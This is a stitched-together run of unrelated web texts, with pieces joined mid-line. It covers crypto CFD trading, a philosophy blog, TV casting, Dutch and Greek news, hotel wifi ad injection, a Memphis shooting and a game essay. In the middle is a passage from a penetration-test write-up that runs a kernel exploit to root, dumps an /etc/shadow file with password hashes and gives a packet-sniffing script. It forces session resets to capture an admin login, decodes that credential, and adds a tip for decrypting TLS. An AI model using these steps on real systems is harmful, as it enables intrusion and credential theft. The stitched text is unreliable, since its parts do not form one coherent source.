Founded by Bulgarians Ivan Ashminov and Boris Nedialkov, Trading 212 is the trade name for Avus Capital, a broker-dealer with roots going back 14 years in foreign exchange and commodities dealing in Europe. But while the company isn’t exactly new, what it’s doing with share trading and cryptocurrencies is – and it seems to be generating success so far.
Its app is the most-downloaded trading app in the UK, with the company now providing a full-blown trading operation, with markets in some 2,500 instruments, ranging from shares to commodities.
In June this year, however, Trading 212 took a bold step in adding cryptocurrencies to the mix, helping it to attract a younger crowd – the millennials – broking industry incumbents are finding hard to reach. These are the consumers who grew up against the background of the 2008 financial crisis, and as a consequence, are inclined to see financial service companies as the bad guys.
And while U.S. fintech startups Invstr and Kapitall are targeting the same demographic of 20-something financial cynics, they don’t yet have the “magic sauce” of crypto to sell on their shelves. For the likes of Trading 212, crypto is a way of further enhancing its appeal to new users.
But the question is: just how effective has this push been?
No hard figures
Nick Saunders, chief executive of Trading 212’s UK operation, won’t say for sure.
In interview, Saunders was cagey about disclosing exact figures on how much crypto constitutes in terms of its overall business, although he described the contribution as “significant.”
“We’d rather not share the exact numbers but it is [a few percent] of the combined volume generated by all exchanges, which is quite a lot for a single retail broker,” he said.
Still, Saunders did suggest that Trading 212 is benefiting from the wave of new attention cryptocurrencies have received in 2017. After rising from under $10 billion at the start of the year, the total value of the combined market has risen to more than $170 billion.
In short, it’s showing all the attributes of a hot market that’s generating returns.
Saunders continued:
“Clients numbers are always driven by volatility and the news. When the two combine and bitcoin price rises make headline news, this drives new clients to open accounts.”
Options and options
It doesn’t hurt that Trading 212’s app, honed for more mainstream tastes, is slick.
The app includes a real-time chat facility in a link-up with TradeBird – a trading-focused social network set-up by Trading 212’s founders; accessible educational tools and regular cryptocurrencies analysis, which has all helped it to attract a growing audience.
Even before it offered crypto, Trading 212 caught imaginations when it came up with a freemium model for share trading, in which customers get commission-free dealing for up to 10 trades a month, up to a maximum value of £10,000 per trade.
The company estimates that 90% of its equity customers will pay nothing at all, with the 10% of high-rolling “whales” delivering its revenue stream.
Perhaps propelling its growth among more seasoned cryptocurrency traders, though, is that it has also added a swath of available options from the asset class. Customers can deal not just in bitcoin and ether, the two largest cryptos by market cap, but in ripple, bitcoin cash, dash, monero and neo.
Saunders revealed to CoinDesk that Trading 212 plans to add a further 14 currencies in November – ethereum classic, zcash, qtum, omisego, iota, eos, lisk, augur, cardano, waves, stratis, ark, steem and stratis.
Making markets
Apart from that, Saunders is pledging the app can “remove all the complexity and risk” of owning cryptocurrencies, which today often involves storing or managing a set of cryptographic keys (or trusting someone else to do so), by using contract for differences (CFDs).
A type of financial instrument made to mirror an underlying asset, the use of the tool means that trading crypto on the platform does not involve buying the claims to those keys, as you would on a crypto exchange such as Bitfinex, the marker leader by volume.
But, CFDs have a downside, too, in that trading isn’t yet available in the U.S.
CDFs involve trading on margin, which has the effect of magnifying gains but also losses and is why the SEC has taken it upon itself to protect traders by banning CFDs.
Still, Trading 212 has made other tweaks to its service to accommodate cryptocurrencies.
For one, it has a Bitcoin Mini market that quotes a price one-tenth the value of bitcoin, which they believe makes opening a position much more manageable and possibly less scary. (Saunders says the average deal size for bitcoin is around £10,000.)
As with fiat currency or share trading, stop losses can also be set so you get to sleep at night without worrying if the South Koreans are about to start selling bitcoin big time.
Trading 212’s killer feature, though, is perhaps the fact that on its crypto markets you can “sell” coins as well as buy. This provides novice and experienced users alike with a way to “short” the market if they think prices are going to fall. As ever with trading, it’s all about the timing.
Bigger wave
Elsewhere, other CFD, spread betting and forex brokers have been getting in on the action.
Avatrade.com and Trade.com are two forex brokers trying their hand at crypto. Another is InterTrader, which provides dealing in bitcoin and ether, and is currently giving away 1 ether to anyone opening a new account and trading a stake worth a minimum of €500.
And then there’s UK spread-betting behemoth IG Group, which was the first to offer CFD and spread-betting bitcoin products. Shai Heffetz, managing director at InterTrader is a long-time bitcoin believer, stating: “There is no doubt virtual currencies are going to play a significant role in the future of the economy.”
A new kid on the block is a trading app from startup Bux, positioning itself as a “millennial financial brand,” is trying to make headway by turning stock investing into a game with virtual trading, hoping to convert its young customer base to funding their accounts with real money.
Of its 200,000 UK users, Bux claims 85,000 are now using real money. Its app, with a design look-and-feel that evokes the Grand Theft Auto video game, and judging from the stream showing what app users are trading, bitcoin is one of the more popular trades among its client base.
Still, the likes of Coinbase notwithstanding, buying and securing your crypto is not seen as a straightforward matter by most ordinary folk.
Yet, as interest in crypto grows, the new breed of trading apps from Trading 212 (and others) show there’s a big market for more familiar ways to gain exposure.
Image via Trading212Last week I came across an interview with one of the true mahātmās of the academic study of Buddhism, Jay L. Garfield, a man who has cleared – and continues to clear – the way for what we can only hope is a great deal more work to come at the intersection of philosophy, East and West.
If this photo doesn’t instill much confidence, scroll down to see the book covers of a selection of his published works. He has been working hard and very much deserves our attention.
In the interview Garfield first describes how he got into philosophy, and like many academics, it was a circuitous route. And it was only after several years as a ‘straight’ philosopher that he began to dabble into Buddhist stuff. But then things began to fall into place rather quickly.
Describing the state of the field of philosophy, Garfield is optimistic, but notes that there is still a long way to go:
People in our profession are still happy to treat Western philosophy as the “core” of the discipline, and as the umarked case. So, for instance, a course that addresses only classical Greek philosophy can be comfortably titled “Ancient Philosophy,” not “Ancient Western Philosophy,” and a course in metaphysics can be counted on to ignore all non-Western metaphysics…. It is simply irrational to ignore most of world philosophy in the pursuit of truth, and immoral to relegate any literature not written by Europeans as somehow beneath our dignity to read.
Continuing later he is asked again about the situation:
3:AM: One of the issues you raise is the ethics of approaches to intellectual and cultural traditions less powerful and less respected than the Western ones. How should we think about this? JLG: Easy. Suppose that someone argued that the philosophical curriculum in their college could not include any texts by women, because there are just so many important books by men, and not enough time to address all of them, let alone to go on to read stuff by women, or that the faculty is not expert in women’s philosophy. He would be howled down not on the grounds that there are indeed not too many books by guys, but that given a history of sexism, it is immoral as well as irrational to ignore the contributions of women in the curriculum. But people get away with saying that their department can’t offer courses that address non-Western philosophy because they are struggling to cover the “core,” that students have so much Western philosophy to learn that they don’t have time to read the non-Western stuff, and that there are no specialists in non-Western philosophy in the department. In the wake of colonialism and in the context of racism, the only legitimate response is to howl them down.
Howl them down!
The full interview, with countless more gems on a range of topics, can be found here.
You can also find another great discussion by Garfield, on Buddhism in the West (English) / Buddhismus im Westen (German) / html link.
Lastly, I wanted to steal/borrow/share his three top 5 book recommendation lists (which I’ll add to my ‘books’ page above as well):
Jay Garfield is Doris Silbert Professor in the Humanities, Professor of Philosophy and Director of the Logic Program and of the Five College Tibetan Studies in India Program at Smith College, Professor in the graduate faculty of Philosophy at the University of Massachusetts, Professor of Philosophy at Melbourne University and Adjunct Professor of Philosophy at the Central Institute of Higher Tibetan Studies. (more)
SOME PUBLICATIONS:
photo via smith.edu.CLOAK AND DAGGER is a Marvel TV series that will premiere on the Freeform network. It is about "the interracial romance between Tandy Bowen and Tyrone Johnson, who come from starkly different backgrounds, each growing up with a secret they never dared share with another soul. Tandy can emit light daggers and Tyrone has the ability to engulf others in darkness. They quickly learn they are better together than apart — but their feelings for each other make their already complicated world even more challenging."
Sounds cool. They've also just cast the roles, with former Disney Channel star Olivia Holt as Dagger, who is described as "once a privileged little girl, Tandy Bowen watched as her family was destroyed by a disastrous storm that uprooted her life. Now in her late teens, an unexpected encounter with a boy named Tyrone sparks a life changing event."
Meanwhile, Aubrey Joseph (HBO's THE NIGHT OF) has been cast as Cloak: "young Tyrone Johnson wanted nothing more than to prove he was fearless. But when everything he held close was taken away, life taught Tyrone to be afraid. Now older and more sheltered, Tyrone closes himself off. But when he meets a girl named Tandy his life changes Forever."
Not going to lie, I like the sound of all that. I especially like the interracial couple angle, which after Luke Cage and Jessica Jones, looks like it might be closer to being more normalized on television and movies.
But what do you Schmoes think? You guys looking forward for a non-Netflix Marvel series? Sound off below!Dutch far-right populist lawmaker Geert Wilders is be tried for inciting racial hatred after pledging in March to ensure there were ‘fewer Moroccans’ in the Netherlands, prosecutors said Thursday.
‘The public prosecutor in The Hague is to prosecute Geert Wilders on charges of insulting a group of people based on race and incitement to discrimination and hatred,’ prosecutors said in a statement.
‘Politicians may go far in their statements, that’s part of freedom of expression, but this freedom is limited by the prohibition of discrimination,’ it said, adding that no date had yet been set for the trial.
The case centres on comments Wilders made at a March 19 rally after local elections.
He asked his followers whether they wanted ‘fewer or more Moroccans in your city and in the Netherlands?’
When the crowd shouted ‘Fewer! Fewer!’ a smiling Wilders answered: ‘We’re going to organise that.’
In a later TV interview, he referred to ‘Moroccan scum’.
The remark led to 6,400 legal complaints being lodged across the Netherlands, and criticism was even voiced within Wilders’s own Party for Freedom.
In a written statement, Wilders says he ‘said what millions of people think and believe.’
Wilders says authorities ‘should concentrate on prosecuting jihadis instead of me.’
‘I do not retract anything I have said,’ Wilders, whose Party for Freedom (PVV) is leading opinion polls.
‘In my fight for freedom and against the Islamisation of the Netherlands, I will never let anyone silence me. No matter the cost, no matter by whom, whatever the consequences may be,’ he said.
Wilders is often reviled in Dutch immigrant communities for his fiery anti-Islam rhetoric.
In the past the flamboyant politician has compared the Koran to Hitler’s ‘Mein Kampf’ and has called Islam a fascist religion.
He has become the target of death threats and who lives under 24-hour police protection. He has said he expects prosecutors to drop the charges.
A court in 2011 acquitted Wilders on hate-speech charges, ruling that he had targeted a religion, which is permitted under Dutch freedom of speech laws, rather than a specific ethnic group.
The far-right is on the rise across Europe, fed by disillusionment with the establishment, economic hardship and worries over immigration.
In Sweden’s neighbour Denmark, the Danish People’s Party has seen its support soar on a platform of tight immigration, tougher punishment for criminals and more welfare spending, apparently on track to become the country’s biggest party.
Original Article
Share ThisHotel Wifi JavaScript Injection
So I’m checking my blog on the hotel wifi, like ya do, and I notice something a little off with the style. There’s a dark colored bar at the top of the page that shouldn’t be there. That’s funny. Maybe a recent Firefox update changed how they treat CSS?
Screenshot of Justinsomnia with weird bar circled in red
I probably wouldn’t have thought much of it, except my blog had recently been hacked (someone had gained elevated access to my web hosting account and prepended every single PHP file with a base64 encoded rootkit), so I immediately decided to view the source. Sure enough I saw some unfamiliar CSS and JavaScript that had been injected after the <head> tag (reformatted here for readability):
<style type="text/css"> #rxgheader { visibility:hidden; color:#111; background:#ffffff; text-align:center; border-bottom:1px solid #666; z-index:10000; position:fixed; width:100%; top:0; } #rxgleftbar { visibility:hidden; color:#111; background:#fff; border-right:1px solid #666; z-index:10000; position:fixed; height:100%; left:0; } #rxgrightbar { visibility:hidden; color:#111; background:#fff; border-left:1px solid #666; z-index:10000; position:fixed; height:100%; right:0; } #rxgfooter { visibility:hidden; color:#111; background:#ffffff; text-align:center; border-top:1px solid #666; z-index:10000; position:fixed; width:100%; bottom:0; } #rxgcontent { } </style> <script language="JavaScript" type="text/javascript"> function checkVisible() { var footer, header, leftbar, rightbar, content; if (document.all) { footer = document.all.rxgfooter; header = document.all.rxgheader; leftbar = document.all.rxgleftbar; rightbar = document.all.rxgrightbar; content = document.all.rxgcontent; } else if (document.getElementById) { footer = document.getElementById('rxgfooter'); header = document.getElementById('rxgheader'); leftbar = document.getElementById('rxgleftbar'); rightbar = document.getElementById('rxgrightbar'); content = document.getElementById('rxgcontent'); } if (footer) { if (footer.offsetWidth > 600) { footer.style.visibility = 'visible'; content.style.paddingBottom = (footer.offsetHeight + 4) + "px"; } } if (header) { if (header.offsetWidth > 600) { header.style.visibility = 'visible'; content.style.paddingTop = (header.offsetHeight + 4) + "px"; } } if (leftbar) { if (leftbar.offsetHeight > 400) { leftbar.style.visibility = 'visible'; content.style.paddingLeft = (leftbar.offsetWidth + 4) + "px"; } } if (rightbar) { if (rightbar.offsetHeight > 400) { rightbar.style.visibility = 'visible'; content.style.paddingRight = (rightbar.offsetWidth + 4) + "px"; } } } </script>
And I found some unfamiliar JavaScript after the <body> tag (also reformatted):
<div id="rxgheader"> <script type='text/javascript'> var advnIsAdProviders = true; var advnIsPersistCookie = false; var mCustomerId = 44; var advnIsHideImmediately = false; var mDelayLoad = 1000; var advnAdRotationDelay = 30000; var jsUrl = 'http://adsmws.cloudapp.net/user/advnads20.js'; function addScript(jsUrl) { var AdvnScript = document.createElement('script'); AdvnScript.setAttribute('src', jsUrl); AdvnScript.setAttribute('type', 'text/javascript'); document.body.appendChild(AdvnScript); } setTimeout('addScript(jsUrl)', 50); </script> <div id = "rxgcontent"> <script language = "JavaScript" type = "text/javascript"> checkVisible(); </script>
For the non-web-developers reading, the most salient bits to note above are the prefix “rxg” in the CSS and the URL http://adsmws.cloudapp.net/user/advnads20.js pointing to a packed external JavaScript file that looked very suspicious. RXG appears to be a common extension used in viruses and malware, but I found very few results in Google having to do with advnads20.js or adsmws.cloudapp.net.
Immediately I ssh ed into my webhost, and did an svn diff on my WordPress core files. No changes. Hmm, maybe someone mucked with my custom theme files (which are not under version control)? Nope, no dice, everything appeared kosher. It occurred to me to wget my blog while I was ssh ed into my webhost’s server in Los Angeles—to see if the changes were also showing up there. Nope. Bingo! I loaded Stephanie’s blog and found the same symptoms in the source—but she’s hosted under my account. So just in case, I loaded Andre’s blog, hosted by TypePad. Same thing. Verdict: somewhere between the internet and my computer, someone is injecting JavaScript into EVERY SINGLE PAGE I LOAD.
I found a utility that unpacks packed JavaScript, and it only took a quick skim of advnads20.js (over 1900 lines reformatted) to estimate that its primary purpose is ad injection/takeover. The good news is, this explains why all the embedded YouTube videos in Google Reader were showing up as empty black squares.
But the question remains, did the hotel’s wifi access point get hacked, or is something more nefarious at work? Is it possible that the hotel’s internet service provider is doing this on purpose? Could it be that the Courtyard Marriott in Times Square is actually aware of and condoning this type of bad behavior?
In any case, who the heck do I report something like this to?
Update: I really wanted to give Marriott the benefit of the doubt, but it turns out I was wrong. There is something more nefarious at work. Thanks to Danny in the comments, I learned that the “rxg” I saw in the injected CSS and JavaScript is short for Revenue eXtraction Gateway, a wireless hotspot gateway product built by RG Nets, Inc., and available for sale from Wlan Mall.
RG Nets RXG-A8
In short, the Courtyard Marriott is using the RXG to inject JavaScript into the HTML of every webpage its hotel customers view for the purpose of injecting ads (and in the meantime, breaking YouTube). Marriott’s wireless internet service provider is a third-party company called Hotel Internet Services, so it is possible, though unlikely, that Marriott doesn’t know what’s going on. But it’s crazy to me that I’m paying $368 a night for a hotel room, and this is how I get treated.
Update: I guess not all press is good press. Ronen Isaac (coincidentally of Wlan Mall) appears to have taken down the Vimeo video (I had previously embedded above) that I thought did such an excellent job describing how the Revenue eXtraction Gateway worked.
Sorry, “RGnets RXG Injection Advertising Demo” was deleted at 10:17:28 Fri Apr 6, 2012. We have no more information about it on our mainframe or elsewhere.
Good thing RG Nets still has the video up on their own site! And thanks to The Verge, there’s now a copy of the video up on YouTube that I can embed for your viewing pleasure:
Demo of RGnets RXG Injection Advertising
Here’s a transcript of the video’s hypnotic, robotic voice-over:
The video demonstrates the HTML payload rewriting feature of the RG Nets Revenue eXtraction Gateway. The web browser that you are looking at is that of an end user that is connected to the internet through an RG Nets Revenue eXtraction Gateway. The end user is running stock IE7 without any special plugins or installations. All rewriting is done on the fly in the RXG. The RXG is configured to rewrite all transit webpages to include a banner advertisement for a BMW S100 |
file 🙏
Escalating To The Root
From my experience, all these type of products shipped with a old kernels. We’ve seen this on previous articles of Unexpected Journey articles.
[email protected]:/usr/local/contego$ uname -a Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64 GNU/Linux [email protected]:/usr/local/contego$ cat /etc/issue Debian GNU/Linux 6.0
\l
We can directly use dirtyc0w and ntfs-3g vulnerabilities that causes a local privileges escalation. In order to create a reliable exploit we need gcc and linux header packages must be installed on target. Otherwise, we need to compile them locally and then upload them which may cause also make our exploit unreliable due to missing linking and header files.
I’ve managed to compile Linux Kernel < 3.8.9 (x86-64) – ‘perf_swevent_init’ Privilege Escalation (2) and uploaded to the server.
[email protected]:/tmp$ chmod +x perf_swevent [email protected]:/tmp$./perf_swevent Searchin... perf_swevent_enabled is at 0xffffffff817d9b40 IDT at 0xffffffff8172b000 Using interrupt 0 Shellcode at 0x81000000 Triggering sploit id Got signal Launching shell # id uid=0(root) gid=1000(trigeo) groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin) # cat /etc/shadow root:$6$N1ACi2G5$piyQgQ9qGQt5QE6borGr.hlj9aGzHjSbLwL4GrvRmnVxnjIbLHdZA5dRg5PmQ1gl7xmJELvgd03waWtAvE1BC1:17229:0:99999:7::: daemon:*:12966:0:99999:7::: bin:*:12966:0:99999:7::: sys:*:12966:0:99999:7::: sync:*:12966:0:99999:7::: games:*:12966:0:99999:7::: man:*:12966:0:99999:7::: lp:*:12966:0:99999:7::: mail:*:12966:0:99999:7::: news:*:12966:0:99999:7::: uucp:*:12966:0:99999:7::: proxy:*:12966:0:99999:7::: www-data:*:12966:0:99999:7::: backup:*:12966:0:99999:7::: list:*:12966:0:99999:7::: irc:*:12966:0:99999:7::: gnats:*:12966:0:99999:7::: nobody:*:12966:0:99999:7::: Debian-exim:!:12966:0:99999:7::: trigeo:$6$kCwwUXLYd5/YIu$cZFvgC4.xKUgbGLZ5TtL7RlovL2qehNEV8L9fZ5Pv0PxaF5U1B20Pf5wz1XD10qOLE.K0/vWZIpz1ct2JNEzw/:17226:0:99999:7::: sshd:!:12966:0:99999:7::: postgres:!:12966:0:99999:7::: cmc:$6$dEqXJUot$vrCf4szo9yugTPx25FNflWzSHCRulPqLLODZu57lqwJj9JXmOKloTiLe6Es9KuYrjteqYtFH5rgFIwe2ZK4gn0:17226:0:99999:7::: libuuid:!:14785:0:99999:7::: snort:*:14785:0:99999:7::: messagebus:*:15849:0:99999:7::: snmp:*:16310:0:99999:7::: lynx:x:17032:0:99999:7:::
Metasploit Module
Here is the metasploit module on action for this vulnerability (https://github.com/rapid7/metasploit-framework/pull/8126)
Post Exploitation: Invalidating All Session and Capturing Network Packets for Plain-Text Password
One thing that I wanted to do right after gaining a root privilege session was capture the administrator credentials. Instead of brute-forcing a password hash taken from database, I decided to capture network packets on target but tcpdump and other network diagnostic tools wasn’t installed on the target. I’ve used following python script in order to capture all network traffics.
#!/usr/bin/python # -*- coding:utf-8 -*- import socket import struct import time class Pcap: def __init__(self, filename, link_type=1): self.pcap_file = open(filename, 'wb') self.pcap_file.write(struct.pack('@ I H H i I I I', 0xa1b2c3d4, 2, 4, 0, 0, 65535, link_type)) def write(self, data): ts_sec, ts_usec = map(int, str(time.time()).split('.')) length = len(data) self.pcap_file.write(struct.pack('@ I I I I', ts_sec, ts_usec, length, length)) self.pcap_file.write(data) def close(self): self.pcap_file.close() pcap = Pcap('capture.pcap') conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) while True: raw_data, addr = conn.recvfrom(65535) pcap.write(raw_data)
This script listens network interface and then save packages in a pcap format into the file called as capture.pcap. Now it’s time to invalidate all existing session so sys admins go over login action one more time for us.
# /etc/init.d/lem-manager restart Stopping SolarWinds LEM Manager... [done] Starting SolarWinds LEM Manager... [done]
I’ve restarted the service and then started the packet capturing script immediately. After waiting about 20 mins, I’ve downloaded pcap file to my local machine and started to analysis.
SolarWind LEM product uses Java AMF serialization for API call. I didn’t want to spend to much time to write another python script for parsing pcap and performing AMF deserialization. I knew wireshark had a support for almost every single protocol.
I’ve filtered http packets and found POST requests that possibly contains a login action. And then kept continuing to using wireshark for AMF deserialization. As you can see above screenshot, we have a base64 encoded string that represents auth.
➜ ~ echo "YWRtaW46TWVobWV0MTIz"| base64 -D admin:Mehmet123
Sweet..! I’ve got what I needed.
What we could do if the sys admins were using 8443 instead of 8080?
Since we have got a root shell on target, we can easily capture the SSL private-public key pairs. Following screenshot shows Java truststore password that has used by the init script as a parameter. You can directly go exactly same approach with one extra step🤓
PS: Do not forget to disable diffie-hellman ciphers before restarting the service. Otherwise, you will not be able to decrypt SSL traffic even if you have a private key. Server and client selects prime numbers that will used for shared secret key generation which is only known by server and client during session.SHARE
By Jody Callahan of The Commercial Appeal
Three people were wounded when shooting erupted as police were shutting down a party near the University of Memphis campus early Sunday morning, officials said.
The incident happened just before 1 a.m. at 3655 Southern, Memphis police said. That's the address of the Gather on Southern apartment complex. According to police, the party took place at the complex but the shooting happened in an adjacent parking lot.
Gather on Southern appears to be a private entity offering housing to students. It's across Southern and the railroad tracks from the main U of M campus.
As Memphis police joined U of M police in clearing out the party, someone in the parking lot to the east of the complex opened fire, police said. Officers ran to the scene and found three victims.
A 19-year-old man shot in the abdomen was taken to the Regional Medical Center in critical condition. A 20-year-old woman shot in the leg was also taken to the Med, but in noncritical condition. A 19-year-old was also wounded, police said, but declined to be taken to the hospital.
Police had made no arrests late Sunday.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Greek police have been branded ‘savages’ after lashing out at Syrian refugees trapped on a holiday island ‘hell’ without food or shelter.
The island of Lesbos has been overwhelmed by exhausted refugees fleeing war-torn Syria who hope to travel on to mainland Europe.
The Daily Mirror has witnessed police in riot gear baton charging the crowds over the weekend as they struggled to control the frustrated crowds who clashed with officers.
Dozens of refugees were left injured by baton charges and at least two were taken away unconscious after skirmishes.
One refugee shouted to us: “Welcome to hell” as he dodged a swinging truncheon.
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As a group ran from the angry officer, he chased after them, swiping the backs of their legs.
One child was sent sprawling to the floor and rushed to hospital in the scrum.
(Image: Julian Hamilton/Daily Mirror)
Another woman screams and thrusts out her swollen arm and legs for us to inspect.
“I need a hospital look what they do to women here” she tells us.
(Image: Julian Hamilton/Daily Mirror)
“They are monsters, savages. I told them I would tell the UN and they said I could kiss their arse.”
Police also have Tasers and sound grenades to deploy in a futile attempt to control the massive numbers and nowthe Navy has arrived, with personnel in full riot gear.
(Image: Julian Hamilton/Daily Mirror)
Thousands of refugees are arriving daily on the island after risking their lives in flimsy plastic dinghies from Turkey leaving lifejackets scattered all over the island’s beautiful beaches.
At first they are delighted, with many taking selfies on the beach, but they have found themselves stranded in filthy conditions for two weeks or more.
(Image: Julian Hamilton/Daily Mirror)
They are delayed in squalid conditions as they wait for official documents from the Greek government before they can board ferries to Athens and continue their travel to Germany which has welcomed thousands fleeing Syria.
The situation on the Greek island has become so dangerous the United Nations refugee agency has called for an emergency evacuation of the 20,000 refugees.
(Image: Julian Hamilton/Daily Mirror)
The Greek government has not provided facilities meaning refugees have been left to live in pop-up tents on the streets or in makeshift camps, as the backlog of paperwork grows out of control.
In the Greek port of Mytilini there are just a few officials to deal with documents for thousands of refugees - and their Portakabin office was shut today.
(Image: Julian Hamilton/Daily Mirror)
The refugees are given nothing while they wait for the bureaucracy to cotton on to the human misery.
No water, no toilets, no food and no beds.
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One dad said the treatment on Lesbos was so terrible he would rather take his chances and return to war-torn Syria.
“I would rather die in one day there - than die every day here,” he told the Daily Mirror.
There is graffiti on a port background which says simply “We are all immigrants”.
(Image: Julian Hamilton/Daily Mirror)
Something the police seem to have forgotten as they rain blows down on the fallen refugees cowering under foot.
We found refugees living in horrifying conditions on the island.
(Image: Julian Hamilton/Daily Mirror)
One dad wept as he told us how he thought they were finally safe but now fears for his family’s life in Greece.
But like all the other refugees, mainly from Syria but others from Iraq and Afghanistan, he can’t move anywhere until they have the proper paperwork.
(Image: Getty)
In the besieged port there is just one tiny window, framing harassed officials, at which the desperate hordes must queue.
They have called in the UN volunteers to help but despite constant meetings, no solution has been found.
(Image: Julian Hamilton/Daily Mirror)
Some refugees have already been waiting for up to ten days.
One dad told how he feared for his baby daughter’s life if they did not escape the camp soon.
Mohamad Zrkawi said of his daughter, Mias: “Look at her 30 days old and she won’t stop crying.
(Image: Julian Hamilton/Daily Mirror)
“She is so hot. We are in a tent. Her temperature is too high. I am scared she will die.
“All we wanted to do was go to Germany. We are charged one Euro for a bottle of water and soon our money will run out.
(Image: Julian Hamilton/Daily Mirror)
“Then what? There is no water here no toilets and no doctors.”
Another dad said his three children, aged ten, five and eight, had become “zombies” since arriving on Lesbos.
Conditions are so terrible he wants to take them all back to Syria.
Moataz Far Ali sobbed as he dragged us to see his sick family covered in spots - all living in a tiny pop up tent.
“We thought we were going to die in Syria and then on the sea to get here. I never thought we would die here.
(Image: Julian Hamilton/Daily Mirror)
“This is Europe. I want to leave. I want to die in Syria in our home. It is inhuman.”
His eldest boy holds a piece of paper saying: “Thank you but I don’t want to stay here. I want freedom.”
Minutes later the Navy arrive in full riot gear in a failed attempt to organise the queues to get their papers signed.
The refugees treatment in Greece is in stark contrast to the warm and friendly welcome they have been receiving in Munich, Frankfurt and other German cities.
It is little wonder most of those we spoke to in Lesbos, said they wish to go and live in Germany.
(Image: Julian Hamilton/Daily Mirror)
Their current host, the mayor of the beautiful Greek island, with a normal population of 86,436, has admitted: “I’m sitting on an unexploded bomb here”.
But when the Daily Mirror arrived on the island, separated from Turkey by a narrow straight, it appeared the bomb had already gone off.
Seas are becoming rougher and we watched a boat packed full of refugees escape tragedy by seconds after sending an SOS to Greek police.
There were 35 terrified people including pregnant women and 20 children including a one-month old baby, packed into the black dinghy.
READ MORE: Shocking video shows police officer beating Syrian refugees with baton
Some of the men dived into the water to swim ashore and keep the women afloat.
Once ashore in Lesbos they start taking selfies, happy to be alive and giggling as they chucked away their life jackets with glee.
Dad-of-two Ziad Al Adel, 63, from Syria said: “We left Syria with smugglers. We went through the woods where there are no border controls.”
They were charged $100 each to cross into Turkey then another $1,200 each to Turkish smugglers taking them across the water to Greece.
(Image: Julian Hamilton/Daily Mirror)
“Halfway across the 10km or sea, the waves came and it started to fill up. It began to sink,” he said.
“We were moments from death. We made an SOS call to the Greek police.
“We told the children ‘God would look after us’ - and he did.”
The former director of a Telecoms business said they fled Syria after their homes were destroyed.
“We are getting it from both sides, from the extremists and the Government.
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“They use bombs and rockets to destroy our houses. We have many dead every day.”
Asked where he is heading now, he explains he will make his way to Germany where his son escaped to two months ago.
But as he speaks, a volunteer with The Boat Refugee Foundation, Ingrid Kolstares, said: “We let them have their moment of joy.
“They are taking selfies thinking they have just escaped hell but the hell starts again”.
(Image: Julian Hamilton/Daily Mirror)
She is not wrong. This group now face a 70km march to Lesbos’s main port in 100 degrees heat.
‘No bus will take them’, no cab will stop and no locals will offer them a lift as they face arrest for showing a simple act of kindness.
Some refugees have money but no hotel will take them in.
She wasn’t wrong about the hell they face when they eventually make it to port.
(Image: Julian Hamilton/Daily Mirror)
There are around 17,000 to 20,000 refugees still stuck on Lesbos and many have been there for the past two weeks living rough around the island’s main port Mytilini.
There is just one tiny office to deal with the thousands of refugees – a battered container unit inside the ferry terminal.
Under the evacuation plan, refugees would be allowed to board ferries without having to wait for travel permits – instead they would be processed and registered on their arrival in the port of Piraeus.
The mayor of Lesbos is calling on Greece and Europe to announce a state of emergency.Banished: Towards a Playable Human Ecology
At first glance, Banished feels pretty familiar for gamers who grew up playing things like Age of Empires. You start with a small stock of supplies and a few workers standing around in the wilderness. Your task is to efficiently convert that wilderness into a late-medieval settlement. I was initially excited about Banished because it seemed like a modern take on the kind of RTS I loved as a kid that just doesn’t seem to get made anymore. On closer inspection, though, it turns out to be only superficially similar. Banished has no armies, warfare, or even diplomacy. Instead, it’s more of a rural economy simulator, choosing what crops to plant and building barns and log cabins and making sure you have enough food to last the winter.
Playing the Frontier
I enjoy playing Banished well enough, but I’m always drawn back to it more for the potential and ambition of its premise than what the game actually is. At its core, the game tries to model the fundamental problem of human ecology: how to balance population, labor, and resources. Like all games, it has its simplifications and abstractions, but its depiction of the cycle of production, consumption, and demographic structure is remarkably direct and unadorned. The game doesn’t seem especially aware of the potential generalizability of its platform, however. Instead, it more closely evokes a historical archetype more mythical than ecological: the Taming of the Frontier.
When asked, Hodorowicz claimed that Banished takes place in no particular historical moment or real-world geography. The game itself, however, is full of signifiers of particular times and places, and they’re not particularly hard to read. The juxtaposition of wheat, cows, and chickens with corn, squash, and potatoes places it after the Columbian Exchange. The temperate climate and associated crops, along with the architecture and material culture–iron tools and coal fuel–strongly suggest Europe, but the absence of any other people in the landscape points to one of the colonial settings Alfred Crosby dubbed “Neo-Europes”: Argentina, New Zealand, South Africa, and especially eastern North America. It’s not surprising that the game’s most popular mod, Colonial Charter: New Frontier, makes the game’s colonial North American setting explicit. And while Colonial Charter includes plantation agriculture and sub-tropical bioregions, the base game, with its harsh winters, temperate vegetation, and mountainous terrain, most closely resembles early colonial New England. Therefore, I’ll be using New England (as covered in Diana Muir’s Reflections in Bullough’s Pond) as a historical point of reference for Banished’s economy.
The Plimoth Plantation Village in Plymouth, MA. Recreation of a 1627 village.
Banished’s empty wilderness, just waiting for European hands to bring forth its potential bounty, reflects a profound misunderstanding of American history. But that mistake is a deep part of America’s national identity, and something many people learn as fact. Before Columbus, the Americas were populated by an estimated 50-100 million people (comparable to Europe or Africa at the time) who shaped their environment profoundly with fire, hunting, agriculture, and monument construction. And while virgin soil epidemics of Eurasian diseases are estimated to have reduced North American population by up to 90%, the experience of early settlers was still defined by trade and conflict with Native Americans.
So while the mechanics in Banished model one of the most fundamental and general human experiences, they present only a small and somewhat fictionalized version of that problem. With large maps and no competitors, games play out under conditions of constant growth–there’s always more timber, more stone and iron to dig up, more rivers to fish, more land to farm. And unlike many of the historical simulation games it might be grouped with, technology is static. There are no “ages” to advance through, no technology tree to develop. It’s a snapshot of the imagined moment when hard work carved out a living from a landscape rich in potential but at the moment still a hostile wilderness.
“Labor, Which is Dear”
